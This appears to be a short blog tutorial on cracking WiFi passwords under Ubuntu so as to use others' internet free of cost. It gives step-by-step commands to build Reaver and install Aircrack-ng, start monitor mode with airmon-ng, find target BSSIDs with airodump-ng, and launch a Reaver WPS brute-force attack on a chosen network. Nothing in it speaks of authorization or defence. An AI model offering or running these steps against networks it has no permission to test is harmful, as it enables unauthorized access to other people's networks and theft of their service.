Crack WIFI Password with Ubuntu -- in 10 Minutes

Today everybody is trying to crack password of WIFI for using Internet Free of Cost But they not know how can they do this .....
In this tutorial I'll help you ...
First of all we have to install Ubuntu-12.0.4 or Later in our machine then we can do this .
I have talked about Ubuntu Installation Already.. now we have to do just Following things..

• we should have installed Aircrack-ng 
• we should have installed Reaver-1.4 (or latest )

If you do not have Aircrack-ng  package then you should go... Here

If you do not have Reaver-1.4  package then you should go.... Here

After done this type 

ctrl + alt + T

when you will do this The terminal of Ubuntu Appeared .

Our goal is going to Start

Just type Following commands  step by step

1. sudo -s
2. Enter your password 
3. cd Downloads      (this command will change your Directory to Download Directory)
4. cd reaver-1.4        (this command will change your Directory  from  Download to reaver-1.4 Directory)
5. sudo apt-get install libpcap-dev         (this command will execute if you have " apt-get update " )
6. sudo apt-get install libsqlite3-dev       (this command will execute if you have " apt-get update " )
7. ./configure
8. make
9. make install

After this We have to open another Terminal 

Just hit 

ctrl + alt + T

 and type 

• sudo -s
• Enter your password 
• cd Downloads      (this command will change your Directory to Download Directory)
• cd aircrack-ng-1.1   (or what will be name of it in your Download Directory )
• sudo apt-get install aircrack-ng
• airmon-ng start wlan0 (with the help of this cmd we can start airmon-ng & wlan0 that will provide us BSSID of wifi )
• airodump-ng mon0 ( This cmd will show us Bssid of wifi )

nOW we have to go other opened terminal with reaver-1.4 Directory

just type there this command

we are going to attack

•  reaver -i mon0 -b 00:11:28:32:49:85 (BSSID # )